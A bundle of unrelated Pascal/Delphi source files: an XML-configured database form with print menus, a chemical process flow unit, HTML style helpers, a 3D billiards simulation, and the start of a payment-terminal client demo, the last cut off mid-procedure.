if FEditClass <> nil then
begin
sbAdd.OnClick:=EditRecord2;
sbEdit.OnClick:=EditRecord2;
(** Обработка печати *)
if GetAttrValue(ANode,XPRINTABLE)='true' then
begin
self.pPrint.Visible:=true;
for I:=0 to ANode.ChildNodes.length-1 do
begin
CurrNode:=ANode.ChildNodes.Item[I];
if CurrNode.NodeName=XPRINT then
begin
// Обнуление переменных
Print.Caption:=''; Print.MenuName:='';Print.RRR:=''; Print.PrintNumber:=-1;
Print.ConditionVisible.FieldName:=''; Print.ConditionVisible.Value:='';
// Начали заполнение переменных
for J:=0 to CurrNode.ChildNodes.length-1 do
begin
PrintNode:=CurrNode.ChildNodes.Item[J];
//ShowMessage(PrintNode.NodeName);
// название меню
if PrintNode.NodeName=XCAPTION then
Print.Caption:=PrintNode.Text;
// имя меню
if PrintNode.NodeName=XMENUNAME then
Print.MenuName:=PrintNode.Text;
// номер отчета
if (PrintNode.NodeName=XPRINTNUMBER) and IsNumber(PrintNode.Text) then
Print.PrintNumber:=StrToInt(PrintNode.Text);
// имя ррр
if PrintNode.NodeName=XRRR then
Print.RRR:=PrintNode.Text;
// признаки видимости
if PrintNode.NodeName=XCONDITIONVISIBLE then
for K:=0 to PrintNode.ChildNodes.length-1 do
begin
CondVisNode:=PrintNode.ChildNodes.Item[K];
// поле на которое смотреть
if CondVisNode.NodeName=XFIELDNAME then
Print.ConditionVisible.FieldName:=CondVisNode.Text;
// значение которое там должно быть, чтобы отображать печать
if CondVisNode.NodeName=XVALUE then
Print.ConditionVisible.Value:=CondVisNode.Text;
end; // for K:=0 to PrintNode ... length-1 do // XCONDITIONVISIBLE
end;// for J:=0 to CurrNode ... length-1 do // XPRINT
end;
// добавляем меню на форму
if (Print.Caption<>'') and (Print.MenuName<>'')
and ((Print.RRR<>'') or (Print.PrintNumber>=0) )then
begin
//sbAdd.OnClick:=EditRecord2;
mi:=TMenuItem.Create(self);
mi.Name:=Print.MenuName;
mi.Caption:=Print.Caption;
if Print.RRR<>'' then
begin
mi.Tag:=-1;
mi.Hint:=Print.RRR;
end
else
mi.Tag:=Print.PrintNumber;
mi.OnClick:=PrintRecord;
self.ds.OnDataChange:=DataSourceDataChange;
self.PUM.Items.Add(mi);
inc(FPrintsCount);
FPrints[FPrintsCount]:=Print;
end;
end; // for I:=0 to ANode.ChildNodes.length-1 do // XPRINTABLE
end;
end;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.PrintRecord(Sender: TObject);
begin
if (Sender as TMenuItem).Tag=-1 then
FEditClass.Print((Sender as TMenuItem).Hint)
else
FEditClass.Print(q['id'],q['inst'],(Sender as TMenuItem).Tag);
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.EditRecord2(Sender: TObject);
var res: Boolean;
begin
res := false;
if (Sender as TSpeedButton).Name='sbAdd' then
res:=FEditClass.Edit(0,MAIN_ORG.INST,Self.Name)
else if q.Active and (q.RecordCount>0) then
res:=FEditClass.Edit(q['id'],q['inst'],Self.Name);
if res then bbSearch.Click;
end;
{------------------------------------------------------------------------------}
procedure TXMLForm.DeleteRecord2(Sender: TObject);
var
table,s,errnum,tableref: string;
i: integer;
begin
if not( Self.pDel.Visible and Self.pDel.Enabled and Self.sbDel.Visible and Self.sbDel.Enabled )then
exit;
table:=GetAttrValue(FRootNode,XTABLENAME);
if table='' then exit;
if MessageDlg(TranslateText('Вы уверены, что хотите удалить запись?'),mtWarning,[mbYes,mbNo],0)=mrNo then
exit;
try
FEditClass.TestDelete(q['id'],q['inst']);
_ExecProcOra('OILT.SetStateN',
['p_Table', table,
'p_Id', q['id'],
'p_Inst', q['inst']
]);
bbSearch.Click;
except
on E:Exception do begin
s:=E.Message;
if copy(s,1,3)='ORA' then
begin
errnum:=copy(s,5,5);
if errnum='20020' then
begin
delete(s,1,3);//удаляем первое ORA
if pos('ORA',s)>0 then
s:=copy(s,1,pos('ORA',s)-2);
i:=length(s);
while s[i]<>' ' do dec(i);
tableref:=copy(s,i+1,length(s));
end;
end
else
errnum:='';
if errnum='20020' then
raise exception.create(
TranslateText('Обнаружены записи, ссылающиеся на данную (таблица ')+tableref+')'+#13#10+
TranslateText('Данную запись удалить нельзя.'))
else
raise exception.create(TranslateText('Ошибка при удалении записи:')+#13#10+E.Message);
end;
end;
end;
{------------------------------------------------------------------------------}
//==============================================================================
function XMLChooseBill(
FromID, FromINST, ToID, ToINST: integer;
FromName, ToName: string;
sType: char;
DateBegin, DateEnd: TDate;
var pp_Id, pp_Inst: integer;
var pp_Name, pp_Date: string
): boolean; // загрузка рахунків
var
Form: TXMLForm;
I: Integer;
begin
Form := GetXMLFormAsFilter('BillRef');
try
for I := 1 to Length(Form.FFilters) do
begin
// FromOrg
if FromID <> 0 then
if (Form.FFilters[I].SrcFieldName <> '') and (AnsiUpperCase(Form.FFilters[I].FilterName) = 'FROMORG')
and (FromName <> '') then
begin
if Form.FFilters[I].IsCaptionField then
(Form.FindComponent('FROMORG') as TComboEdit).Text := FromName;
if AnsiUpperCase(Form.FFilters[I].DestFieldName) = 'FROM_ID' then Form.FFilters[I].Value := IntToStr(FromID);
if AnsiUpperCase(Form.FFilters[I].DestFieldName) = 'FROM_INST' then Form.FFilters[I].Value := IntToStr(FromINST);
end;
// ToOrg
if ToID <> 0 then
if (Form.FFilters[I].SrcFieldName <> '') and (AnsiUpperCase(Form.FFilters[I].FilterName) = 'TOORG')
and (ToName <> '') then
begin
if Form.FFilters[I].IsCaptionField then
(Form.FindComponent('TOORG') as TComboEdit).Text := ToName;
if AnsiUpperCase(Form.FFilters[I].DestFieldName) = 'TO_ID' then Form.FFilters[I].Value := IntToStr(ToID);
if AnsiUpperCase(Form.FFilters[I].DestFieldName) = 'TO_INST' then Form.FFilters[I].Value := IntToStr(ToINST);
end;
// DateFrom
if DateBegin <> 0 then
if (AnsiUpperCase(Form.FFilters[I].FilterName) = 'DATEFROM') and (DateBegin <> 0) then
begin
(Form.FindComponent('DATEFROM') as TDateEdit).Date := DateBegin;
Form.FFilters[i].Value := DateToStr(DateBegin);
end;
// DateTo
if DateEnd <> 0 then
if (AnsiUpperCase(Form.FFilters[I].FilterName) = 'DATETO') and (DateEnd <> 0) then
begin
(Form.FindComponent('DATETO') as TDateEdit).Date := DateEnd;
Form.FFilters[i].Value := DateToStr(DateEnd);
end;
// sType
if sType <> '' then
if (AnsiUpperCase(Form.FFilters[I].FilterName) = 'EDITDOGTYPE') and (DateEnd <> 0) then
begin
case sType of
'K': (Form.FindComponent('EDITDOGTYPE') as TComboBox).ItemIndex := 0;
'Y': (Form.FindComponent('EDITDOGTYPE') as TComboBox).ItemIndex := 1;
'S': (Form.FindComponent('EDITDOGTYPE') as TComboBox).ItemIndex := 2;
'V': (Form.FindComponent('EDITDOGTYPE') as TComboBox).ItemIndex := 3;
'N': (Form.FindComponent('EDITDOGTYPE') as TComboBox).ItemIndex := 4;
end;
Form.FFilters[i].Value := (Form.FindComponent('EDITDOGTYPE') as TComboBox).Text;
end;
// CANCELED
if (AnsiUpperCase(Form.FFilters[I].FilterName) = 'EDITCANCELED') then
begin
(Form.FindComponent('EDITCANCELED') as TComboBox).ItemIndex := 0;
Form.FFilters[i].Value := (Form.FindComponent('EDITCANCELED') as TComboBox).Text;
end;
end;
Form.SearchClick(nil);
result := Form.ShowModal = mrOk;
if result then
begin
pp_Id := Form.FQuery['ID'];
pp_Inst := Form.FQuery['INST'];
pp_Name := Form.FQuery['doc_number'];
pp_Date := Form.FQuery['date_'];
end;
finally
FreeAndNil(Form);
end;
end;
//==============================================================================
end.
|
unit UFlow;
interface
uses URegularFunctions, UConst;
type
Flow = class
mass_flow_rate, mole_flow_rate, volume_flow_rate: real;
mass_fractions, mole_fractions, volume_fractions,
molar_fractions: array of real;
temperature: real;
density: real;
molar_mass: real;
heat_capacity: real;
pressure: real;
constructor Create(mass_flow_rate: real; mass_fractions: array of real;
temperature, pressure: real);
function gas_separation: sequence of Flow;
function getRON(Bi: array of real := UConst.Bi;
RON: array of real:= UConst.RON): real;
end;
implementation
constructor Flow.Create(mass_flow_rate: real; mass_fractions: array of real;
temperature, pressure: real);
begin
self.mass_flow_rate := mass_flow_rate;
self.mass_fractions := normalize(mass_fractions);
self.temperature := temperature;
self.pressure := pressure;
self.mole_fractions := convert_mass_to_mole_fractions(self.mass_fractions,
UConst.MR);
self.volume_fractions := convert_mass_to_volume_fractions(self.mass_fractions,
UConst.DENSITIES);
self.molar_fractions := convert_mass_to_molar_fractions(self.mass_fractions,
get_gas_densities(self.temperature, self.pressure,
UConst.MR), UConst.MR);
self.density := get_flow_density(self.mass_fractions, UConst.DENSITIES);
self.molar_mass := get_flow_molar_mass(self.mass_fractions, UConst.MR);
self.heat_capacity := get_heat_capacity(self.mass_fractions,
self.temperature, UConst.HEATCAPACITYCOEFFS);
self.volume_flow_rate := self.mass_flow_rate / self.density / 1000;
self.mole_flow_rate := self.mass_flow_rate / self.molar_mass;
end;
function Flow.gas_separation: sequence of Flow;
begin
var gas_mass_frac := ArrFill(self.mass_fractions.Length, 0.0);
var gas_mass_flow_rate := 0.0;
for var i := 7 to 10 do
begin
gas_mass_frac[i] := self.mass_fractions[i];
gas_mass_flow_rate += self.mass_fractions[i] * self.mass_flow_rate;
self.mass_fractions[i] := 0.0;
self.volume_fractions[i] := 0.0;
self.mole_fractions[i] := 0.0;
end;
gas_mass_frac[6] := 0.9 * self.mass_fractions[6];
gas_mass_flow_rate += self.mass_flow_rate * gas_mass_frac[6];
self.mass_fractions[11] := 0.1 * self.mass_fractions[6];
var h2_mass_frac := ArrFill(self.mass_fractions.Length-1, 0.0) + |1.0|;
var h2_mass_flow_rate := self.mass_fractions[^1] * self.mass_flow_rate;
self.mass_fractions[^1] := 0.0;
self.volume_fractions[^1] := 0.0;
self.mole_fractions[^1] := 0.0;
self.mass_flow_rate -= gas_mass_flow_rate + h2_mass_flow_rate;
self.mass_fractions := normalize(self.mass_fractions);
self.volume_fractions := normalize(self.volume_fractions);
self.mole_fractions := normalize(self.mole_fractions);
var gas := new Flow(gas_mass_flow_rate, gas_mass_frac, self.temperature,
self.pressure);
var h2 := new Flow(h2_mass_flow_rate, h2_mass_frac, self.temperature,
self.pressure);
result := seq(gas, h2)
end;
function Flow.getRON(Bi: array of real; RON: array of real): real;
begin
result := 0.0;
var B := ArrFill(Bi.Length, 0.0);
foreach var i in Bi.Indices do
for var j := i+1 to Bi.High do
B[i] := Bi[j] * Bi[i] * self.volume_fractions[i] * self.volume_fractions[j];
foreach var i in self.volume_fractions.Indices do
result += self.volume_fractions[i] * RON[i];
result += B.Sum
end;
end. |
unit htUtils;
interface
uses
SysUtils, Graphics;
function htColorToHtml(const Color: TColor): string;
function htVisibleColor(inColor: TColor): Boolean;
function htPercValue(inPerc: Integer): string;
function htPxValue(inPx: Integer): string;
function htStyleProp(const inProp, inValue: string): string; overload;
function htStyleProp(const inProp: string; inColor: TColor): string; overload;
function htInlineStylesToAttribute(const inStyles: string): string;
function htForwardSlashes(const inString: string): string;
procedure htCat(var ioDst: string; const inAdd: string);
implementation
const
chtPerc = '%';
chtPx = 'px';
function htColorToHtml(const Color: TColor): string;
var
c: TColor;
begin
c := ColorToRGB(Color);
Result := '#' +
IntToHex(Byte(c), 2) +
IntToHex(Byte(c shr 8), 2) +
IntToHex(Byte(c shr 16), 2);
end;
function htInlineStylesToAttribute(const inStyles: string): string;
begin
if inStyles = '' then
Result := ''
else
Result := ' style="' + inStyles + '"';
end;
function htVisibleColor(inColor: TColor): Boolean;
begin
Result := (inColor <> clNone) and (inColor <> clDefault);
end;
function htStyleProp(const inProp, inValue: string): string; overload;
begin
if inValue <> '' then
Result := inProp + ':' + inValue + ';'
else
Result := '';
end;
function htStyleProp(const inProp: string; inColor: TColor): string; overload;
begin
if htVisibleColor(inColor) then
Result := inProp + ':' + htColorToHtml(inColor) + ';';
end;
function htPercValue(inPerc: Integer): string;
begin
Result := IntToStr(inPerc) + chtPerc;
end;
function htPxValue(inPx: Integer): string;
begin
Result := IntToStr(inPx) + chtPx;
end;
procedure htCat(var ioDst: string; const inAdd: string);
begin
if (inAdd <> '') then
if (ioDst = '') then
ioDst := inAdd
else
ioDst := ioDst + ' ' + inAdd;
end;
function htForwardSlashes(const inString: string): string;
begin
Result := StringReplace(inString, '\', '/', [ rfReplaceAll ]);
end;
end.
|
unit Main;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, System.Generics.Collections,
FMX.Types, FMX.Graphics, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.StdCtrls, FMX.Viewport3D,
FMX.Controls3D, FMX.Objects3D, FMX.MaterialSources,
FJX,
Core, System.Math.Vectors, FMX.Types3D;
type
TForm1 = class(TForm)
Viewport3D1: TViewport3D;
DummyY: TDummy;
Camera1: TCamera;
Light1: TLight;
DummyX: TDummy;
Timer1: TTimer;
CubeG: TCube;
LightMaterialSourceG: TLightMaterialSource;
CubeL: TCube;
CubeR: TCube;
CubeT: TCube;
CubeB: TCube;
LightMaterialSourceW: TLightMaterialSource;
DummyW: TDummy;
LightMaterialSourceH: TLightMaterialSource;
LightMaterialSourceB: TLightMaterialSource;
Cylinder11: TCylinder;
DummyH: TDummy;
Cylinder10: TCylinder;
Cylinder01: TCylinder;
Cylinder00: TCylinder;
DummyB: TDummy;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Viewport3D1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Single);
procedure Viewport3D1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Single);
procedure Viewport3D1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Single);
procedure Timer1Timer(Sender: TObject);
private
{ private 宣言 }
_MouseS :TShiftState;
_MouseP :TPointF;
public
{ public 宣言 }
_Balls :TObjectList<TBall>;
/////
procedure MakeBalls( const Count_:Integer );
function FindHit( const B0_:TBall; var MinD:Single ) :TControl3D;
end;
var
Form1: TForm1;
implementation
{$R *.fmx}
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& private
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& public
procedure TForm1.MakeBalls( const Count_:Integer );
var
I :Integer;
B :TBall;
begin
_Balls.Clear;
for I := 1 to Count_ do
begin
B := TBall.Create( Self );
with B do
begin
Parent := DummyB;
MaterialSource := LightMaterialSourceB;
end;
_Balls.Add( B );
end;
end;
function TForm1.FindHit( const B0_:TBall; var MinD:Single ) :TControl3D;
//---------------------------------------------------------------------
procedure MinOK( const T_:Single; const H_:TControl3D );
begin
if T_ < MinD then
begin
MinD := T_; Result := H_;
end;
end;
//---------------------------------------------------------------------
var
P0, P1 :TPoint3D;
B1 :TBall;
begin
P0 := TPoint3D( B0_.AbsolutePosition );
MinD := 0;
Result := nil;
///// 壁との衝突判定
MinOK( P0.X - -25 - 2, CubeL );
MinOK( +25 - P0.X - 2, CubeR );
MinOK( P0.Z - -50 - 2, CubeB );
MinOK( +50 - P0.Z - 2, CubeT );
///// 穴との衝突判定
MinOK( P0.Distance( TPoint3D.Create( -25, -2, -50 ) ) - 4, Cylinder00 );
MinOK( P0.Distance( TPoint3D.Create( +25, -2, -50 ) ) - 4, Cylinder01 );
MinOK( P0.Distance( TPoint3D.Create( -25, -2, +50 ) ) - 4, Cylinder10 );
MinOK( P0.Distance( TPoint3D.Create( +25, -2, +50 ) ) - 4, Cylinder11 );
///// 玉との衝突判定
for B1 in _Balls do
begin
if B1 <> B0_ then
begin
P1 := TPoint3D( B1.AbsolutePosition );
MinOK( P0.Distance( P1 ) - 4, B1 );
end;
end;
end;
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
procedure TForm1.FormCreate(Sender: TObject);
begin
_Balls := TObjectList<TBall>.Create;
MakeBalls( 50 );
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
_Balls.Free;
end;
////////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.Viewport3D1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Single);
begin
_MouseS := Shift;
_MouseP := TPointF.Create( X, Y );
end;
procedure TForm1.Viewport3D1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Single);
var
P :TPointF;
begin
if ssLeft in _MouseS then
begin
P := TPointF.Create( X, Y );
with DummyY.RotationAngle do Y := Y + ( P.X - _MouseP.X ) / 2;
with DummyX.RotationAngle do X := X - ( P.Y - _MouseP.Y ) / 2;
_MouseP := P;
end;
end;
procedure TForm1.Viewport3D1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Single);
begin
Viewport3D1MouseMove( Sender, Shift, X, Y );
_MouseS := [];
end;
////////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.Timer1Timer(Sender: TObject);
var
B0, B1 :TBall;
H :TControl3D;
T, R, E, S0 :Single;
P0, P1, N, V, D0, A :TPoint3D;
M :TMatrix3D;
begin
for B0 in _Balls do
begin
H := FindHit( B0, T );
with B0 do
begin
if H is TCube then
begin
///// 壁に衝突
E := Bounce * _WallBounce;
if H = CubeL then N := TPoint3D.Create( +1, 0, 0 )
else
if H = CubeR then N := TPoint3D.Create( -1, 0, 0 )
else
if H = CubeB then N := TPoint3D.Create( 0, 0, +1 )
else
if H = CubeT then N := TPoint3D.Create( 0, 0, -1 );
Velo1 := Velo0 - ( _Penalty * T + ( 1 + E ) * Velo0.DotProduct( N ) ) * N;
end
else
if H is TCylinder then
begin
///// 穴に衝突
_Balls.Remove( B0 );
end
else
if H is TBall then
begin
///// 玉に衝突
B1 := TBall( H );
R := B1.Mass / ( Mass + B1.Mass );
E := Bounce * B1.Bounce;
V := Velo0 - B1.Velo0;
P0 := TPoint3D( AbsolutePosition );
P1 := TPoint3D( B1.AbsolutePosition );
N := ( P0 - P1 ).Normalize;
Velo1 := Velo0 - ( _Penalty * T + R * ( 1 + E ) * V.DotProduct( N ) ) * N;
end
else Velo1 := Velo0;
end;
end;
for B0 in _Balls do
begin
with B0 do
begin
Velo0 := Velo1;
P0 := TPoint3D( AbsolutePosition );
D0 := Velo0.Normalize;
S0 := Velo0.Length;
M := TMatrix3D.CreateTranslation( P0 );
A := D0.CrossProduct( TPoint3D.Create( 0, -1, 0 ) );
AbsolMatrix := AbsolMatrix
* M.Inverse
* TMatrix3D.CreateRotation( A, -S0 / Pi4 * Pi2 )
* M
* TMatrix3D.CreateTranslation( Velo0 );
end;
end;
Viewport3D1.Repaint;
end;
end.
|
unit MainUnit;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls,
ComObj,
ActionsUnit,
ActiveX,
SPIClient_TLB, Vcl.Menus;
type
TfrmMain = class(TForm)
pnlSettings: TPanel;
lblSettings: TLabel;
lblPosID: TLabel;
edtPosID: TEdit;
lblEftposAddress: TLabel;
edtEftposAddress: TEdit;
pnlStatus: TPanel;
lblStatusHead: TLabel;
lblStatus: TLabel;
btnPair: TButton;
pnlReceipt: TPanel;
lblReceipt: TLabel;
richEdtReceipt: TRichEdit;
pnlTransActions: TPanel;
btnPurchase: TButton;
btnRefund: TButton;
btnSettle: TButton;
btnSettleEnq: TButton;
lblReceiptFrom: TLabel;
lblSignFrom: TLabel;
btnMoto: TButton;
btnCashOut: TButton;
pnlOtherActions: TPanel;
lblOtherActions: TLabel;
btnRecover: TButton;
btnLastTx: TButton;
lblTransActions: TLabel;
radioReceipt: TRadioGroup;
radioSign: TRadioGroup;
edtReference: TEdit;
lblReference: TLabel;
btnSecrets: TButton;
btnSave: TButton;
lblSecrets: TLabel;
edtSecrets: TEdit;
procedure btnPairClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btnRefundClick(Sender: TObject);
procedure btnSettleClick(Sender: TObject);
procedure btnPurchaseClick(Sender: TObject);
procedure btnSettleEnqClick(Sender: TObject);
procedure btnCashOutClick(Sender: TObject);
procedure btnMotoClick(Sender: TObject);
procedure btnLastTxClick(Sender: TObject);
procedure btnRecoverClick(Sender: TObject);
procedure btnSecretsClick(Sender: TObject);
procedure btnSaveClick(Sender: TObject);
private
public
end;
type
TMyWorkerThread = class(TThread)
public
procedure Execute; override;
end;
var
frmMain: TfrmMain;
frmActions: TfrmActions;
ComWrapper: SPIClient_TLB.ComWrapper;
Spi: SPIClient_TLB.Spi;
_posId, _eftposAddress: WideString;
SpiSecrets: SPIClient_TLB.Secrets;
UseSynchronize, UseQueue: Boolean;
implementation
{$R *.dfm}
procedure Split(Delimiter: Char; Str: string; ListOfStrings: TStrings) ;
begin
ListOfStrings.Clear;
ListOfStrings.Delimiter := Delimiter;
ListOfStrings.StrictDelimiter := True; // Requires D2006 or newer.
ListOfStrings.DelimitedText := Str;
end;
function FormExists(apForm: TForm): boolean;
var
i: Word;
begin
Result := False;
for i := 0 to Screen.FormCount - 1 do
if (Screen.Forms[i] = apForm) then
begin
Result := True;
Break;
end;
end;
procedure LoadPersistedState;
var
OutPutList: TStringList;
begin
if (frmMain.edtSecrets.Text <> '') then
begin
OutPutList := TStringList.Create;
Split(':', frmMain.edtSecrets.Text, OutPutList);
SpiSecrets := ComWrapper.SecretsInit(OutPutList[0], OutPutList[1]);
end
end;
procedure HandleFinishedGetLastTransaction(txFlowState: SPIClient_TLB.TransactionFlowState);
var
gltResponse: SPIClient_TLB.GetLastTransactionResponse;
purchaseResponse: SPIClient_TLB.PurchaseResponse;
success: SPIClient_TLB.SuccessState;
begin
gltResponse := CreateComObject(CLASS_GetLastTransactionResponse)
AS SPIClient_TLB.GetLastTransactionResponse;
purchaseResponse := CreateComObject(CLASS_PurchaseResponse)
AS SPIClient_TLB.PurchaseResponse;
if (txFlowState.Response <> nil) then
begin
gltResponse := ComWrapper.GetLastTransactionResponseInit(
txFlowState.Response);
success := Spi.GltMatch(gltResponse, frmMain.edtReference.Text);
if (success = SuccessState_Unknown) then
begin
frmActions.richEdtFlow.Lines.Add(
'# Did not retrieve Expected Transaction. Here is what we got:');
end
else
begin
frmActions.richEdtFlow.Lines.Add(
'# Tx Matched Expected Purchase Request.');
end;
purchaseResponse := ComWrapper.PurchaseResponseInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Scheme: ' +
purchaseResponse.SchemeName);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
purchaseResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# RRN: ' + purchaseResponse.GetRRN);
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Customer Receipt:');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(purchaseResponse.GetCustomerReceipt));
end
else
begin
frmActions.richEdtFlow.Lines.Add('# Could Not Retrieve Last Transaction.');
end;
end;
procedure HandleFinishedSettlementEnquiry(txFlowState: SPIClient_TLB.TransactionFlowState);
var
settleResponse: SPIClient_TLB.Settlement;
schemeEntry: SPIClient_TLB.SchemeSettlementEntry;
schemeList: PSafeArray;
LBound, UBound, I: LongInt;
begin
settleResponse := CreateComObject(CLASS_Settlement)
AS SPIClient_TLB.Settlement;
schemeEntry := CreateComObject(CLASS_SchemeSettlementEntry)
AS SPIClient_TLB.SchemeSettlementEntry;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT ENQUIRY SUCCESSFUL!');
settleResponse := ComWrapper.SettlementInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
settleResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# Merchant Receipt:');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(settleResponse.GetReceipt));
frmActions.richEdtFlow.Lines.Add('# Period Start: ' +
DateToStr(settleResponse.GetPeriodStartTime));
frmActions.richEdtFlow.Lines.Add('# Period End: ' +
DateToStr(settleResponse.GetPeriodEndTime));
frmActions.richEdtFlow.Lines.Add('# Settlement Time: ' +
DateToStr(settleResponse.GetTriggeredTime));
frmActions.richEdtFlow.Lines.Add('# Transaction Range: ' +
settleResponse.GetTransactionRange);
frmActions.richEdtFlow.Lines.Add('# Terminal Id:' +
settleResponse.GetTerminalId);
frmActions.richEdtFlow.Lines.Add('# Total TX Count: ' +
IntToStr(settleResponse.GetTotalCount));
frmActions.richEdtFlow.Lines.Add('# Total TX Value: ' +
IntToStr(settleResponse.GetTotalValue div 100));
frmActions.richEdtFlow.Lines.Add('# By Aquirer TX Count: ' +
IntToStr(settleResponse.GetSettleByAcquirerCount));
frmActions.richEdtFlow.Lines.Add('# By Aquirer TX Value: ' +
IntToStr(settleResponse.GetSettleByAcquirerValue div 100));
frmActions.richEdtFlow.Lines.Add('# SCHEME SETTLEMENTS:');
schemeList := ComWrapper.GetSchemeSettlementEntries(txFlowState);
SafeArrayGetLBound(schemeList, 1, LBound);
SafeArrayGetUBound(schemeList, 1, UBound);
for I := LBound to UBound do
begin
SafeArrayGetElement(schemeList, I, schemeEntry);
frmActions.richEdtFlow.Lines.Add('# ' + schemeEntry.ToString);
end;
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT ENQUIRY FAILED!');
if (txFlowState.Response <> nil) then
begin
settleResponse := ComWrapper.SettlementInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
settleResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Merchant Receipt:');
frmMain.richEdtReceipt.Lines.Add(
TrimLeft(settleResponse.GetReceipt));
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT ENQUIRY RESULT UNKNOWN!');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure HandleFinishedSettle(txFlowState: SPIClient_TLB.TransactionFlowState);
var
settleResponse: SPIClient_TLB.Settlement;
schemeEntry: SPIClient_TLB.SchemeSettlementEntry;
schemeList: PSafeArray;
LBound, UBound, I: LongInt;
begin
settleResponse := CreateComObject(CLASS_Settlement)
AS SPIClient_TLB.Settlement;
schemeEntry := CreateComObject(CLASS_SchemeSettlementEntry)
AS SPIClient_TLB.SchemeSettlementEntry;
case txFlowState.Success of
SuccessState_Success:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT SUCCESSFUL!');
settleResponse := ComWrapper.SettlementInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
settleResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# Merchant Receipt:');
frmMain.richEdtReceipt.Lines.Add
(TrimLeft(settleResponse.GetReceipt));
frmActions.richEdtFlow.Lines.Add('# Period Start: ' +
DateToStr(settleResponse.GetPeriodStartTime));
frmActions.richEdtFlow.Lines.Add('# Period End: ' +
DateToStr(settleResponse.GetPeriodEndTime));
frmActions.richEdtFlow.Lines.Add('# Settlement Time: ' +
DateToStr(settleResponse.GetTriggeredTime));
frmActions.richEdtFlow.Lines.Add('# Transaction Range: ' +
settleResponse.GetTransactionRange);
frmActions.richEdtFlow.Lines.Add('# Terminal Id:' +
settleResponse.GetTerminalId);
frmActions.richEdtFlow.Lines.Add('# Total TX Count: ' +
IntToStr(settleResponse.GetTotalCount));
frmActions.richEdtFlow.Lines.Add('# Total TX Value: ' +
IntToStr(settleResponse.GetTotalValue div 100));
frmActions.richEdtFlow.Lines.Add('# By Aquirer TX Count: ' +
IntToStr(settleResponse.GetSettleByAcquirerCount));
frmActions.richEdtFlow.Lines.Add('# By Aquirer TX Value: ' +
IntToStr(settleResponse.GetSettleByAcquirerValue div 100));
frmActions.richEdtFlow.Lines.Add('# SCHEME SETTLEMENTS:');
schemeList := ComWrapper.GetSchemeSettlementEntries(txFlowState);
SafeArrayGetLBound(schemeList, 1, LBound);
SafeArrayGetUBound(schemeList, 1, UBound);
for I := LBound to UBound do
begin
SafeArrayGetElement(schemeList, I, schemeEntry);
frmActions.richEdtFlow.Lines.Add('# ' + schemeEntry.ToString);
end;
end;
SuccessState_Failed:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT FAILED!');
if (txFlowState.Response <> nil) then
begin
settleResponse := ComWrapper.SettlementInit(txFlowState.Response);
frmActions.richEdtFlow.Lines.Add('# Response: ' +
settleResponse.GetResponseText);
frmActions.richEdtFlow.Lines.Add('# Error: ' +
txFlowState.Response.GetError);
frmActions.richEdtFlow.Lines.Add('# Merchant Receipt:');
frmMain.richEdtReceipt.Lines.Add(
TrimLeft(settleResponse.GetReceipt));
end;
end;
SuccessState_Unknown:
begin
frmActions.richEdtFlow.Lines.Add('# SETTLEMENT ENQUIRY RESULT UNKNOWN!');
end;
else
begin
raise Exception.Create('Argument Out Of Range Exception');
end;
end;
end;
procedure HandleFinishedMoto(txFlowState: SPIClient_TLB.TransactionFlowState);
var
motoResponse: SPIClient_TLB.MotoPurchaseResponse;
purchaseResponse: SPIClient_TLB.PurchaseResponse;
begin
motoResponse := CreateComObject(CLASS_MotoPurchaseResponse)
AS SPIClient_TLB.MotoPurchaseResponse;
purchaseResponse := CreateComObject(CLASS_PurchaseResponse)
